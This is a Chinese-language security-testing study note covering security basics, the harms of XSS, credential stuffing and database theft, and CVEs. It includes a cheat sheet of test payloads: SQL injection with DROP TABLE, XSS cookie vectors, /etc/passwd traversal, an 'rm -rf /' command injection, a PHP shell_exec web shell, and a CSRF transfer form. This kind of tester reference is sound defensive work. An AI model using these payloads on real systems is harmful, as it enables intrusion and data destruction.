跳到主要内容

安全测试

[TOC]

安全测试

By:weimenghua
Date:2022.05.25
Description:安全测试

安全观

  1. 三个最基本要素
  • 机密性(Confidentiality)
  • 完整性(Integrity)
  • 可用性(Availability)
  1. 缺点 (defect / mistake)
  • 软件在实现上和设计上的弱点
  • 缺点是缺陷和瑕疵的统称
  1. 缺陷(bug)
  • 实现层面的软件缺点
  • 容易被发现和修复
  • 例如:缓冲区溢出
  • 一种设计上的缺点,难以察觉
  • 瑕疵往往需要人工分析才能发现
  • 软件系统中错误处理或恢复模块,导致程序不安全或失效
  1. 漏洞(vulnerability)
  • 可以用于违反安全策略的缺陷或瑕疵

漏洞危害

  1. 钓鱼欺骗:最典型的就是利用目标网站的反射型跨站脚本漏洞将目标网站重定向到钓鱼网站,或者注入钓鱼 JavaScript 以监控目标网站的表单输入,甚至发起基于 DHTML 更高级的钓鱼攻击方式。
  2. 网站挂马:跨站时利用 IFrame 嵌入隐藏的恶意网站或者将被攻击者定向到恶意网站上,或者弹出恶意网站窗口等方式都可以进行挂马攻击。
  3. 身份盗用:Cookie 是用户对于特定网站的身份验证标志,XSS 可以盗取到用户的 Cookie,从而利用该 Cookie 盗取用户对该网站的操作权限。如果一个网站管理员用户 Cookie 被窃取,将会对网站引发巨大的危害。
  4. 盗取网站用户信息:当能够窃取到用户 Cookie 从而获取到用户身份使,攻击者可以获取到用户对网站的操作权限,从而查看用户隐私信息。
  5. 垃圾信息发送:比如在 SNS 社区中,利用 XSS 漏洞借用被攻击者的身份发送大量的垃圾信息给特定的目标群。
  6. 劫持用户 Web 行为:一些高级的 XSS 攻击甚至可以劫持用户的 Web 行为,监视用户的浏览历史,发送与接收的数据等等。
  7. XSS 蠕虫:XSS 蠕虫可以用来打广告、刷流量、挂马、恶作剧、破坏网上数据、实施 DDoS 攻击等。

撞库+漏水+拖库+洗库

  1. 撞库
    ”撞库”是黑客通过收集互联网已泄露的用户和密码信息,生成对应的字典表,尝试批量登陆其他网站后,得到一系列可以登录的用户。
    很多用户在不同网站使用的是相同的帐号密码,因此黑客可以通过获取用户在 A网站的账户从而尝试登录 B网址,这就可以理解为撞库攻击。
    说的简单一点,就是一个小偷,入室盗窃后偷到了一串钥匙,然后他拿着这串钥匙,在整个小区里面挨家挨户的进行开锁。这个过程就是撞库。

  2. 漏水
    "漏水"是指某些企业自身出现风险导致的数据泄露。
    一般是因为企业没有按照统一规范流程搭建业务,比如没有做好关键数据隔离、没有做好权限分层管控、没有做好数据加密存储等而出现的数据安全问题。

  3. 拖库
    拖库本来是数据库领域的术语,指从数据库中导出数据。到了黑客攻击泛滥的今天,它被用来指网站遭到入侵后,黑客窃取其数据库。
    黑客通过技术手段窃取数据库的过程叫做拖库。就像小偷偷东西是一样的。
    “拖库”的通常步骤为:
    1、黑客对目标网站进行扫描,查找其存在的漏洞,常见漏洞包括 SQL 注入、文件上传漏洞等。(小偷蹲点)
    2、通过该漏洞在网站服务器上建立“后门(webshell)”,通过该后门获取服务器操作系统的权限。(小偷想办法进入室内)
    3、利用系统权限直接下载备份数据库,或查找数据库链接,将其导出到本地。(小偷盗走值钱的东西)

  4. 洗库
    “洗库”,属于黑客入侵的一种,就是黑客入侵网站,通过技术手段将有价值的用户数据归纳分析,售卖变现。说的简单一点,就是一个小偷,入室盗窃后偷到了很多东西,他对这些赃物分类,然后进行销赃的过程。

特殊字符

特殊字符1

  • ♪♫♬
  • < > &
  • ¥€£$
  • ∑∫√
  • ©®
  • ♀♂
  • ♩♫♬♭♮♯
  • ✓✘✔️✖️

特殊字符2

  • SQL 注入特殊字符: ' " ; - / * % + =
  • 命令注入特殊字符: ; & || | ` $ ( ) { } [ ] < >
  • XML 注入特殊字符: < > " ' &
  • LDAP 注入特殊字符: * ( ) \ /
  • 文件包含注入特殊字符:../ %00
  • XSS 注入特殊字符: < > ' " / ; :

特殊字符3

- SQL 注入:' or 1=1;--
- SQL 注入:; DROP TABLE users;--
- SQL 注入:' union select 1,2,3 --
- 跨站脚本攻击 (XSS) :<script>alert('XSS');</script>
- 跨站脚本攻击 (XSS) :"><script>alert('XSS')</script>
- 跨站脚本攻击 (XSS) :<img src=x onerror=alert('XSS')>
- 跨站脚本攻击 (XSS) :<svg/onload=alert('XSS')>
- 跨站脚本攻击 (XSS) :<a href="javascript:alert('XSS')">click me</a>
- 跨站脚本攻击 (XSS) :<iframe src="javascript:alert('XSS')">
- 跨站脚本攻击 (XSS) :<script>eval('alert("XSS")')</script>
- 路径遍历攻击:../etc/passwd
- 命令注入漏洞:'; exec('rm -rf /'); --
- 命令注入漏洞:;ls -la
- CSRF 攻击: <img src="https://demo.com/dddd/wei-test-demo/blob/master/img.png" />
- Unicode 编码:%u0061%u0062%u0063
- HTML 注入:<iframe src="javascript:alert('XSS')"></iframe>
- HTTP 请求截断漏洞:%0D%0AContent-Length: 9999
- 远程代码执行漏洞:<?php echo shell_exec($_GET['cmd']); ?>
- Cookie 劫持漏洞:<img src="javascript:alert(document.cookie)">
- Cookie 劫持漏洞:<script>alert(document.cookie)</script>
- 参数污染漏洞:<a href="http://example.com/?foo=bar&baz=qux">
- 输入验证不足:<input type="text" value="><script>alert('XSS')</script>">
- LDAP 注入:(&(uid=hacker)(password=*))
- CSRF 注入:
<form action="https://www.example.com/transfer" method="POST">
<input type="hidden" name="from" value="hacker@example.com">
<input type="hidden" name="to" value="victim@example.com">
<input type="hidden" name="amount" value="1000000">
<input type="submit" value="Transfer">
</form>
- 文件上传注入:
<?php
$filename = $_FILES['file']['name'];
$tmpname = $_FILES['file']['tmp_name'];
$extension = pathinfo($filename, PATHINFO_EXTENSION);
$allowed_extensions = array("jpg", "jpeg", "png", "gif");

if (!in_array($extension, $allowed_extensions)) {
echo "Invalid file type";
exit;
}

move_uploaded_file($tmpname, "uploads/" . $filename);
?>

CVE 漏洞

阿里云漏洞库 CVE(Common Vulnerabilities and Exposures)的全称是公共漏洞和暴露,是公开披露的网络安全漏洞列表。IT 人员、安全研究人员查阅 CVE 获取漏洞的详细信息,进而根据漏洞评分确定漏洞解决的优先级。
在 CVE 中,每个漏洞按 CVE-1999-0067、CVE-2014-10001、CVE-2014-100001这样的形式编号。CVE 编号是识别漏洞的唯一标识符。CVE 编号由 CVE 编号机构(CVE Numbering Authority,CNA)分配,CVE 编号机构主要由 IT 供应商、安全厂商和安全研究组织承担。